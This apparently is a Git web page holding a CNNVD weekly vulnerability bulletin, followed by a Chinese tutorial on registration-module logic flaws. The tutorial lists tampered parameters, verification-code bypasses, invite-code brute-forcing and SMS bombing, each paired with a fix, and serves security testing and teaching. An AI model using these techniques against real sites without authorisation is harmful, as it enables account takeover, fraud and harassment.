根据国家信息安全漏洞库（CNNVD）统计，本周新增安全漏洞1804个，漏洞新增数量有所上升。从厂商分布来看Oracle公司新增漏洞最多，有240个；从漏洞类型来看，权限许可和访问控制问题类的安全漏洞占比最大，达到15.74%。新增漏洞中，超危漏洞360个，高危漏洞807个，中危漏洞558个，低危漏洞79个。
|
||||
|
||||
|
||||
（一） 安全漏洞增长数量情况
|
||||
|
||||
|
||||
|
||||
本周CNNVD采集安全漏洞1804个。
|
||||
|
||||
|
||||
|
||||
图1 近五周漏洞新增数量统计图
|
||||
|
||||
|
||||
（二） 安全漏洞分布情况
|
||||
|
||||
|
||||
|
||||
从厂商分布来看，Oracle公司新增漏洞最多，有240个。各厂商漏洞数量分布如表1所示。
|
||||
|
||||
表1 新增安全漏洞排名前五厂商统计表
|
||||
|
||||
|
||||
|
||||
本周国内厂商漏洞46个，腾达公司漏洞数量最多，有10个。国内厂商漏洞整体修复率为19.57%。请受影响用户关注厂商修复情况，及时下载补丁修复漏洞。
|
||||
|
||||
从漏洞类型来看，权限许可和访问控制问题类的安全漏洞占比最大，达到15.74%。漏洞类型统计如表2所示。
|
||||
|
||||
表2 漏洞类型统计表
|
||||
|
||||
|
||||
|
||||
（三） 安全漏洞危害等级与修复情况
|
||||
|
||||
|
||||
|
||||
本周共发布超危漏洞360个，高危漏洞807个，中危漏洞558个，低危漏洞79个。相应修复率分别为83.33%、69.64%、77.06%和68.35%。根据补丁信息统计，合计1346个漏洞已有修复补丁发布，整体修复率为74.61%。详细情况如表3所示。
|
||||
|
||||
表3 漏洞危害等级与修复情况
|
||||
|
||||
|
||||
|
||||
（四） 本周重要漏洞实例
|
||||
|
||||
|
||||
|
||||
本周重要漏洞实例如表4所示。
|
||||
|
||||
表4 本期重要漏洞实例
|
||||
|
||||
|
||||
|
||||
1. Google Android 授权问题漏洞（CNNVD-2026-39486590）
|
||||
|
||||
Google Android是美国Google公司的一套以Linux为基础的操作系统。
|
||||
|
||||
Google Android 17.0版本存在授权问题漏洞，该漏洞源于缺少权限检查，攻击者利用该漏洞可以泄露敏感信息。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://source.android.com/docs/security/bulletin/android-17
|
||||
|
||||
2. Cisco Identity Services Engine Software 授权问题漏洞（CNNVD-2026-11229714）
|
||||
|
||||
Cisco Identity Services Engine Software是美国Cisco公司的一套身份管理服务平台。
|
||||
|
||||
Cisco Identity Services Engine Software存在授权问题漏洞，该漏洞源于访问资源时授权检查不当，攻击者利用该漏洞可以通过发送特制流量访问敏感信息，包括哈希凭据。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-multi-G5WP8vv
|
||||
|
||||
3. Microsoft Malware Protection Engine 后置链接漏洞（CNNVD-2026-49814918）
|
||||
|
||||
Microsoft Malware Protection Engine是美国Microsoft公司的一套恶意软件防护检测引擎。
|
||||
|
||||
Microsoft Malware Protection Engine存在安全漏洞，该漏洞源于文件访问前的链接解析不当，攻击者利用该漏洞可以提升权限。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50656
|
||||
|
||||
|
||||
（五） 本周重要人工智能漏洞实例
|
||||
|
||||
|
||||
|
||||
本周重要人工智能漏洞实例如表5所示。
|
||||
|
||||
表5 本期重要人工智能漏洞实例
|
||||
|
||||
|
||||
|
||||
1. Microsoft 365 Copilot 授权问题漏洞（CNNVD-2026-90090932）
|
||||
|
||||
Microsoft 365 Copilot是美国Microsoft公司的一款AI生产力工具。
|
||||
|
||||
Microsoft 365 Copilot存在授权问题漏洞，该漏洞源于关键功能缺少身份验证，攻击者利用该漏洞可以通过网获取露敏感信息。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54130
|
||||
|
||||
2. OpenClaw 权限许可和访问控制问题漏洞（CNNVD-2026-55449472）
|
||||
|
||||
OpenClaw是一个开源的智能人工助理软件。
|
||||
|
||||
OpenClaw 2026.5.2之前版本存在权限许可和访问控制问题漏洞，该漏洞源于搜索路径清理不当，攻击者利用该漏洞可以操控STATE_DIRECTORY变量，从而执行恶意代码。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://github.com/openclaw/openclaw/security/advisories/GHSA-wc84-j36w-pw4x
|
||||
|
||||
3. FlowiseAIFlowise 跨站脚本漏洞（CNNVD-2026-50329025）
|
||||
|
||||
FlowiseAI Flowise是FlowiseAI公司的一个用于轻松构建 LLM 应用程序的工具。
|
||||
|
||||
FlowiseAI Flowise 3.0.8之前版本存在跨站脚本漏洞，该漏洞源于对聊天消息和自定义代理函数中的输入过滤不足，攻击者利用该漏洞可以注入恶意JavaScript脚本，从而窃取Cookie和会话数据。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv
|
||||
|
||||
|
||||
## 二漏洞平台推送情况
|
||||
|
||||
|
||||
本周CNNVD接收漏洞平台推送漏洞4473个。
|
||||
|
||||
表6 本周漏洞平台推送情况
|
||||
|
||||
|
||||
|
||||
## 三接报漏洞情况
|
||||
|
||||
|
||||
本周CNNVD接报漏洞506个，其中信息技术产品漏洞（通用型漏洞）448个，网络信息系统漏洞（事件型漏洞）58个。
|
||||
|
||||
表7 本周漏洞报送情况
|
||||
|
||||
|
||||
|
||||
## 四收录漏洞通报情况
|
||||
|
||||
|
||||
本周CNNVD收录漏洞通报102份。
|
||||
|
||||
表8 本周漏洞通报情况
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,869 @@
|
||||
# 逻辑漏洞之注册模块
|
||||
原创 一个努力的学渣
|
||||
一个努力的学渣 一个努力的学渣 2026-06-24 07:22
|
||||
|
||||
免责声明
|
||||
|
||||
本文只做学术研究使用，不可对真实未授权网站使用，如若非法他用，与平台和本文作者无关，需自行负责！
|
||||
## 前言
|
||||
|
||||
在Web应用中，注册功能是用户进入系统的第一道入口（在无法获取正确的用户名/密码的情况下）
|
||||
|
||||
在注册模块中，大致分为以下几类
|
||||
- 身份缺陷类
|
||||
|
||||
- 只校验：用户名校验、手机号校验、验证码校验、数据入库
|
||||
|
||||
- 任意用户注册
|
||||
|
||||
- 越权注册VIP账号
|
||||
|
||||
- 邀请码绕过注册
|
||||
|
||||
- 邀请码爆破
|
||||
|
||||
- 企业认证注册绕过
|
||||
|
||||
- 枚举漏洞
|
||||
|
||||
- 批量注册漏洞
|
||||
|
||||
- 默认密码漏洞
|
||||
|
||||
- 注册流程越级访问
|
||||
|
||||
- 验证码类
|
||||
|
||||
- 在注册模块中，验证码机制本质上承担着两个职责：
|
||||
|
||||
- 证明操作者是真实用户
|
||||
|
||||
- 证明用户拥有手机号或邮箱的控制权
|
||||
|
||||
- 开发者认为：发送验证码-->输入验证码-->之后就注册成功，完成验证
|
||||
|
||||
- 验证码为空绕过
|
||||
|
||||
- 万能验证码
|
||||
|
||||
- 验证码复用
|
||||
|
||||
- 验证码永不过期
|
||||
|
||||
- 验证码可预测
|
||||
|
||||
- 验证码暴力破解
|
||||
|
||||
- 验证码与手机号未绑定
|
||||
|
||||
- 验证码与Session未绑定
|
||||
|
||||
- 短信轰炸
|
||||
|
||||
- 邮件轰炸
|
||||
|
||||
- 账号接管
|
||||
|
||||
- 注册接口信息泄露
|
||||
|
||||
- 注册覆盖漏洞
|
||||
|
||||
- 手机号覆盖漏洞
|
||||
|
||||
- 邮箱覆盖漏洞
|
||||
|
||||
- 第三方账号覆盖漏洞
|
||||
|
||||
- OAuth注册缺陷
|
||||
|
||||
- 微信注册绑定缺陷
|
||||
|
||||
- QQ注册绑定缺陷
|
||||
|
||||
- Google登录绑定缺陷
|
||||
|
||||
- 注册后直接接管账号
|
||||
|
||||
- 账户合并逻辑漏洞
|
||||
|
||||
所谓逻辑漏洞，几乎都大差不差，你挖不到，大致是以下原因：
|
||||
- 思维固化：也就是太死板，多看别人的挖洞思路，学会举一反三
|
||||
|
||||
- 不够细心、没有耐心：很多漏洞点都藏在数据包或其他URL中，你只知道看这个功能的数据包，或者看到这么多数据包就不想看了，没有耐心
|
||||
|
||||
- 不会关联：有的漏洞点是需要与其他URL或者其他返回内容关联的，而你不会找这个关联关系
|
||||
|
||||
- 可能需要偶然找JS文件、隐藏文件：这个大部分人不会去找，认为逻辑漏洞就是逻辑漏洞，跟JS等没有任何关系，其实这种说法是不对的
|
||||
|
||||
- 当然，想要挖到更高深更隐蔽的漏洞，可能得学会分析JS文件，毕竟有些东西是隐藏在JS中的，而有的JS是加密的，需要解密
|
||||
|
||||
## 任意用户注册
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
系统设计时存在多种用户身份：
|
||||
- 普通用户
|
||||
|
||||
- 企业用户
|
||||
|
||||
- 代理商
|
||||
|
||||
- 商家
|
||||
|
||||
- 内部员工
|
||||
|
||||
- 管理员
|
||||
|
||||
前端注册页面通常只开发普通用户注册，但服务端未校验用户身份字段，导致攻击者可自行构造特殊身份完成注册
|
||||
### 常见场景
|
||||
|
||||
例如注册页面仅显示：用户名、手机号、密码、验证码
|
||||
|
||||
但是提交请求时存在隐藏参数：
|
||||
userType=user
|
||||
|
||||
攻击者修改为
|
||||
userType=merchant 或者 userType=staff
|
||||
|
||||
即可注册特殊身份账号
|
||||
### 造成的影响
|
||||
|
||||
可能导致：
|
||||
- 获取商家后台权限
|
||||
|
||||
- 获取企业账户权限
|
||||
|
||||
- 获取代理商权限
|
||||
|
||||
- 获取管理后台权限
|
||||
|
||||
### 测试思路
|
||||
|
||||
检查注册请求参数：
|
||||
- role
|
||||
|
||||
- type
|
||||
|
||||
- group
|
||||
|
||||
- level
|
||||
|
||||
- userType
|
||||
|
||||
- memberType
|
||||
|
||||
观察是否能够修改
|
||||
### 防护方案
|
||||
|
||||
服务端必须强制指定用户身份
|
||||
|
||||
例如：所有注册用户默认赋值普通用户，禁止从客户端接收身份参数
|
||||
## 越权注册VIP账号
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
系统采用等级制度：普通会员、黄金会员、钻石会员、VIP会员
|
||||
|
||||
等级应由后台审核或付费开通，但服务端直接信任前端提交的数据
|
||||
### 典型表现
|
||||
|
||||
注册时存在：
|
||||
vipLevel=0
|
||||
|
||||
攻击者修改：
|
||||
vipLevel=999
|
||||
|
||||
注册后直接成为高级会员
|
||||
### 影响
|
||||
|
||||
可能获得：
|
||||
- 免费课程
|
||||
|
||||
- 高级资源下载权限
|
||||
|
||||
- 会员专属功能
|
||||
|
||||
- VIP价格体系
|
||||
|
||||
### 防护建议
|
||||
|
||||
用户等级必须由后台逻辑生成，禁止客户端参与权限赋值
|
||||
## 邀请码绕过注册
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
很多平台采用邀请码制度：获得邀请码才能注册
|
||||
|
||||
但开发人员仅在前端验证邀请码，服务端未进行校验
|
||||
### 常见情况
|
||||
|
||||
前端：输入邀请码
|
||||
|
||||
抓包删除邀请码参数后（置空）：
|
||||
inviteCode=
|
||||
|
||||
仍可注册成功
|
||||
### 影响
|
||||
|
||||
可能导致：
|
||||
- 封闭社区失效
|
||||
|
||||
- 内测系统被大量注册
|
||||
|
||||
- 活动资格被绕过
|
||||
|
||||
### 测试思路
|
||||
- 删除邀请码：
|
||||
inviteCode=
|
||||
|
||||
- 修改邀请码：
|
||||
inviteCode=123456
|
||||
|
||||
- 随机邀请码：
|
||||
inviteCode=245316
|
||||
|
||||
之后观察注册结果
|
||||
### 防护建议
|
||||
|
||||
邀请码校验必须在服务端完成
|
||||
## 邀请码爆破
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
邀请码生成规则简单：纯数字并且只有6位
|
||||
### 常见案例
|
||||
|
||||
邀请码长度：6位数字
|
||||
|
||||
理论空间：1000000
|
||||
|
||||
如果没有频率限制，极易被遍历
|
||||
### 影响
|
||||
|
||||
获得：
|
||||
- 注册资格
|
||||
|
||||
- 要求奖励
|
||||
|
||||
- 内测资格
|
||||
|
||||
### 防护建议
|
||||
|
||||
邀请码应采用：随机字符串
|
||||
|
||||
并增加：频率限制、验证码机制、风控检测
|
||||
## 企业认证注册绕过
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
系统要求：营业执照、企业资质、法人信息
|
||||
|
||||
审核后成为企业账户，但服务端未验证上传资料
|
||||
### 典型情况
|
||||
|
||||
上传
|
||||
空文件
|
||||
或者
|
||||
1字节文件
|
||||
，即可通过审核
|
||||
### 造成影响
|
||||
|
||||
攻击者可获得
|
||||
- 企业采购权限
|
||||
|
||||
- 企业管理后台
|
||||
|
||||
- 发票功能
|
||||
|
||||
- 商户功能
|
||||
|
||||
### 防护建议
|
||||
|
||||
审核逻辑必须在后台完成，不能依赖前端状态
|
||||
## 枚举漏洞
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
在注册账号的时候，可根据用户名/手机号/邮箱去注册账号
|
||||
|
||||
而注册接口/页面通常会校验：用户名/手机号/邮箱是否存在
|
||||
|
||||
而我们可以根据返回不同的提示信息来确认用户名/手机号/邮箱是否注册
|
||||
|
||||
例如：
|
||||
- 存在账号：用户名/手机号/邮箱已注册
|
||||
|
||||
- 不存在账号：注册成功
|
||||
|
||||
攻击者可根据提示来判断用户是否存在
|
||||
### 攻击价值
|
||||
|
||||
攻击者可批量验证：手机号、邮箱、用户名，是否真实存在
|
||||
### 影响
|
||||
|
||||
可能导致：
|
||||
- 企业员工、管理员、VIP账号泄露，为后续攻击提供目标
|
||||
|
||||
- 用户信息泄露
|
||||
|
||||
- 精准撞库
|
||||
|
||||
- 精准钓鱼
|
||||
|
||||
- CEO、财务、HR邮箱泄露
|
||||
|
||||
### 防护建议
|
||||
- 统一返回：请求以受理，避免暴露用户状态
|
||||
|
||||
## 批量注册漏洞
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
系统缺少：
|
||||
- IP限制
|
||||
|
||||
- 设备限制
|
||||
|
||||
- 风控模型
|
||||
|
||||
攻击者可创建海量账号
|
||||
### 常见用途
|
||||
|
||||
用于
|
||||
- 刷单
|
||||
|
||||
- 刷票
|
||||
|
||||
- 刷活动
|
||||
|
||||
- 刷积分
|
||||
|
||||
- 刷优惠券
|
||||
|
||||
### 典型案例
|
||||
|
||||
很多电商新人礼包：注册即送20元
|
||||
|
||||
攻击者批量注册1000个账号，直接套利
|
||||
### 防护建议
|
||||
|
||||
建立：IP风控、设备指纹、行为分析、人机验证
|
||||
## 默认密码漏洞
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
某些系统支持注册后自动设置默认密码，如设置123456、888888、手机号后六位
|
||||
### 风险
|
||||
|
||||
攻击者注册后无需修改密码，大量账号存在弱口令
|
||||
## 注册流程越级访问
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
多步骤注册：第一步、第二步、第三步
|
||||
### 问题
|
||||
|
||||
跳过第二步，直接访问第三步，即可完成注册
|
||||
## 验证码为空绕过
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
开发人员只判断验证码参数是否存在，而未验证实际内容
|
||||
### 常见现象
|
||||
|
||||
正常提交：phone=138xxxx8888&code=123456
|
||||
|
||||
修改为：phone=138xxxx8888&code=
|
||||
|
||||
仍可注册成功
|
||||
### 影响
|
||||
|
||||
攻击者无需获取验证码即可注册任意手机号
|
||||
### 测试思路
|
||||
- code=
|
||||
|
||||
- code=null
|
||||
|
||||
- code=undefined
|
||||
|
||||
观察系统响应
|
||||
### 防护建议
|
||||
|
||||
服务端必须验证：验证码是否存在、验证码是否正确、验证码是否过期
|
||||
## 万能验证码漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
开发测试阶段遗留调试代码，上线后未删除
|
||||
### 常见万能验证码
|
||||
- 0000
|
||||
|
||||
- 1234
|
||||
|
||||
- 6666
|
||||
|
||||
- 8888
|
||||
|
||||
- 9999
|
||||
|
||||
### 影响
|
||||
|
||||
绕过所有短信验证
|
||||
### 实战案例
|
||||
|
||||
很多SRC中发现测试环境验证码被带入生产环境，最终导致任意账号注册
|
||||
### 防护建议
|
||||
|
||||
上线前进行代码审计
|
||||
|
||||
禁止：万能验证码、后门验证逻辑、测试账号进入生产环境
|
||||
## 验证码重复使用
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
验证码验证成功后未销毁，导致同一验证码可无限使用
|
||||
### 正常流程
|
||||
|
||||
发送验证码-->验证成功-->立即失效
|
||||
### 漏洞流程
|
||||
|
||||
发送验证码-->123456-->注册成功-->再次使用123456-->继续成功
|
||||
### 影响
|
||||
|
||||
攻击者仅需获取一次验证码，即可批量创建账号
|
||||
### 测试方法
|
||||
|
||||
注册成功后再次使用同一验证码，观察是否继续有效
|
||||
### 防护建议
|
||||
|
||||
验证码验证成功后：立即删除、立即失效
|
||||
## 验证码永不过期
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
开发人员未实现过期机制，或者只在前端倒计时
|
||||
### 常见现象
|
||||
|
||||
正常应该：5分钟失效
|
||||
|
||||
实际：30分钟有效、1小时有效、24小时有效，甚至永久有效
|
||||
### 影响
|
||||
|
||||
验证码泄露后长期可利用
|
||||
### 测试方法
|
||||
|
||||
等待：10分钟、30分钟、1小时，再次尝试验证
|
||||
### 防护建议
|
||||
|
||||
验证码建议：5分钟失效
|
||||
|
||||
敏感业务建议：1分钟失效
|
||||
## 验证码可预测
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
验证码生成算法弱
|
||||
### 错误设计
|
||||
- 根据当前时间后六位
|
||||
|
||||
- 根据手机号后六位生成
|
||||
|
||||
- 简单数字四位或六位
|
||||
|
||||
### 影响
|
||||
|
||||
攻击者无需接收短信即可推测验证码
|
||||
### 测试思路
|
||||
|
||||
连续申请多个多个验证码
|
||||
|
||||
观察：递增、递减、规律变化
|
||||
### 防护建议
|
||||
|
||||
采用安全随机数生成器
|
||||
## 验证码暴力破解
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
验证码验证接口无限尝试
|
||||
### 正常情况
|
||||
|
||||
输入错误多少次（如5次），应锁定
|
||||
### 漏洞情况
|
||||
|
||||
可无限提交
|
||||
### 影响
|
||||
|
||||
六位验证码理论空间：1000000，若无限尝试，最终必然成功
|
||||
### 防护建议
|
||||
|
||||
增加：失败次数限制、IP限制、设备限制、账号锁定
|
||||
## 验证码与手机号未绑定
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
系统仅验证验证码正确，未验证对应手机号
|
||||
### 示例
|
||||
|
||||
手机A收到：123456
|
||||
|
||||
注册时修改：手机号B，验证码为123456
|
||||
|
||||
仍注册成功
|
||||
### 影响
|
||||
|
||||
任意手机号注册
|
||||
### 测试方法
|
||||
|
||||
准备：手机号A、手机号B
|
||||
|
||||
获取A验证码，注册B账号，观察结果
|
||||
### 防护建议
|
||||
|
||||
验证码必须绑定：手机号、设备、会话
|
||||
## 验证码与Session未绑定
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
验证码验证仅验证数值，不验证请求来源
|
||||
### 漏洞流程
|
||||
|
||||
用户A：获取验证码
|
||||
|
||||
攻击者：直接使用该验证码，注册成功
|
||||
|
||||
简单的说：就是A浏览器获取验证码，然后B浏览器直接使用该验证码
|
||||
### 防护建议
|
||||
|
||||
验证码应绑定：Session、Token、设备ID
|
||||
## 短信轰炸漏洞
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
发送短信接口无限调用
|
||||
### 常见场景
|
||||
|
||||
接口：/sendCode
|
||||
|
||||
无任何限制
|
||||
### 攻击效果
|
||||
|
||||
攻击者循环调用1000次，受害者收到1000条短信
|
||||
### 影响
|
||||
|
||||
可能导致：
|
||||
- 用户骚扰、短信费用损失、服务商封禁
|
||||
|
||||
### 防护建议
|
||||
|
||||
增加：60秒发送一次、IP限流、设备限流、手机号限流
|
||||
## 邮件轰炸漏洞
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
发送邮件接口无限调用
|
||||
### 常见场景
|
||||
|
||||
接口：/sendMail
|
||||
|
||||
无限调用
|
||||
### 影响
|
||||
|
||||
邮箱收到数百封、数千封 验证邮件
|
||||
### 防护建议
|
||||
|
||||
增加：频率限制、验证码、风控
|
||||
## 注册接口信息泄露
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
注册成功后返回过多敏感数据
|
||||
|
||||
进一步利用：敏感数据可修改，修改之后成功接管其他用户
|
||||
### 风险
|
||||
|
||||
敏感数据泄露-->修改敏感数据-->接管其他账号
|
||||
## 注册覆盖漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
系统注册逻辑设计为：检查账号是否存在-->不存在则创建
|
||||
|
||||
但由于逻辑缺陷或并发问题，导致：已存在账号-->再次注册-->覆盖原账号信息
|
||||
### 漏洞表现
|
||||
|
||||
攻击者注册：username=admin，系统返回注册成功，原账号密码被重置（前提是有一个相同的账号）
|
||||
### 影响
|
||||
|
||||
可能导致：
|
||||
- 密码覆盖
|
||||
|
||||
- 邮箱覆盖
|
||||
|
||||
- 手机号覆盖
|
||||
|
||||
- 账号接管
|
||||
|
||||
### 防护建议
|
||||
|
||||
数据库必须建议唯一索引
|
||||
|
||||
服务端必须验证账号是否已存在
|
||||
## 手机号覆盖漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
系统允许修改手机号，但未校验手机号归属
|
||||
### 常见流程
|
||||
|
||||
用户A(已存在账号)：138xxxx0001
|
||||
|
||||
攻击者注册时提交：138xxxx0001
|
||||
|
||||
系统错误更新绑定关系
|
||||
### 影响
|
||||
|
||||
攻击者可能获得：短信验证码、密码找回权限、账号控制权
|
||||
### 测试思路
|
||||
|
||||
观察接口参数：mobile、phone、telephone，尝试修改
|
||||
## 邮箱覆盖漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
与手机号覆盖类似，系统未验证邮箱唯一性
|
||||
### 常见场景
|
||||
|
||||
注册请求：email=test@test.com
|
||||
|
||||
服务端直接更新
|
||||
### 影响
|
||||
|
||||
攻击者可接收：找回邮件、验证邮件、通知邮件
|
||||
### 防护建议
|
||||
|
||||
邮箱必须
|
||||
唯一绑定
|
||||
，且重新绑定时必须二次验证
|
||||
## 用户名抢注漏洞
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
系统未对关键账号进行保护
|
||||
### 常见账号
|
||||
- admin
|
||||
|
||||
- administrator
|
||||
|
||||
- root
|
||||
|
||||
- system
|
||||
|
||||
- 客服
|
||||
|
||||
- 官方
|
||||
|
||||
- 管理员
|
||||
|
||||
### 风险
|
||||
|
||||
攻击者抢注后可能：
|
||||
- 冒充官方
|
||||
|
||||
- 发布诈骗信息
|
||||
|
||||
- 诱导用户转账
|
||||
|
||||
### 防护建议
|
||||
|
||||
建立保留用户名库
|
||||
## 第三方账号覆盖漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
系统支持：
|
||||
- 微信登录
|
||||
|
||||
- QQ登录
|
||||
|
||||
- Google登录
|
||||
|
||||
- Github登录
|
||||
|
||||
但绑定逻辑存在缺陷
|
||||
### 正常流程
|
||||
|
||||
第三方身份验证-->创建绑定关系-->登录成功
|
||||
### 漏洞流程
|
||||
|
||||
攻击者修改：openid、unionid、uid，绑定到他人账号
|
||||
### 影响
|
||||
|
||||
直接接管用户账号
|
||||
## OAuth State校验缺失
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
OAuth协议要求：state，参数防止CSRF攻击
|
||||
### 正常流程
|
||||
|
||||
生成state-->跳转授权-->校验state
|
||||
### 漏洞流程
|
||||
|
||||
开发人员未验证state
|
||||
### 影响
|
||||
|
||||
攻击者可诱导用户绑定攻击者账号
|
||||
### 防护建议
|
||||
|
||||
严格验证
|
||||
state
|
||||
参数
|
||||
## OAuth账户绑定缺陷
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
系统使用邮箱、手机号作为绑定依据
|
||||
### 漏洞场景
|
||||
|
||||
前提：拿到受害者邮箱
|
||||
|
||||
攻击者控制：test@test.com
|
||||
|
||||
第三方账号返回：test@test.com
|
||||
|
||||
系统直接绑定已有账户
|
||||
### 影响
|
||||
|
||||
账号接管
|
||||
### 防护建议
|
||||
|
||||
首次绑定必须进行二次身份验证
|
||||
## 注册后自动登录漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
很多网站，注册成功后自动登录
|
||||
### 常见缺陷
|
||||
|
||||
服务端信任
|
||||
userID
|
||||
参数
|
||||
### 漏洞表现
|
||||
|
||||
攻击者修改：
|
||||
userID=1001
|
||||
|
||||
如果自动登录了他人账号，代表存在漏洞
|
||||
## Token返回逻辑缺陷
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
注册成功返回token
|
||||
### 常见问题
|
||||
|
||||
Token生成逻辑可预测，例如：
|
||||
md5(userid)
|
||||
### 影响
|
||||
|
||||
攻击者可伪造身份
|
||||
### 防护建议
|
||||
|
||||
采用：JWT+随机签名，或者高强度随机Token
|
||||
## 注册竞争条件漏洞
|
||||
|
||||
风险等级：高危
|
||||
### 漏洞原理
|
||||
|
||||
多个请求同时提交，系统未加锁
|
||||
### 正常逻辑
|
||||
|
||||
检查用户是否存在-->创建账号
|
||||
### 并发情况
|
||||
|
||||
请求A：用户不存在
|
||||
|
||||
请求B：用户不存在
|
||||
|
||||
两个请求同时创建
|
||||
### 结果
|
||||
|
||||
可能出现：
|
||||
- 重复账号
|
||||
|
||||
- 奖励重复领取
|
||||
|
||||
- 账号覆盖
|
||||
|
||||
### 案例
|
||||
- 新人礼包领取两次
|
||||
|
||||
- 优惠券领取多次
|
||||
|
||||
- 注册奖励翻倍
|
||||
|
||||
这些均属于竞争条件漏洞
|
||||
## 账户合并逻辑漏洞
|
||||
|
||||
风险等级：严重
|
||||
### 漏洞原理
|
||||
|
||||
系统支持：手机号登录、邮箱登录、微信登录、QQ登录
|
||||
|
||||
多个身份绑定同一账号
|
||||
### 漏洞场景
|
||||
|
||||
攻击者注册手机号A
|
||||
|
||||
然后绑定邮箱B，如果存在漏洞，系统会错误关联到受害者账户
|
||||
### 影响
|
||||
|
||||
直接接管账号
|
||||
## 未激活账户直接可用
|
||||
|
||||
风险等级：中危
|
||||
### 漏洞原理
|
||||
|
||||
系统设计：注册-->激活-->使用
|
||||
### 实际情况
|
||||
|
||||
攻击者注册成功无需激活，即可登录、发帖、支付、操作后台
|
||||
### 防护建议
|
||||
|
||||
所有业务操作前验证账号状态
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user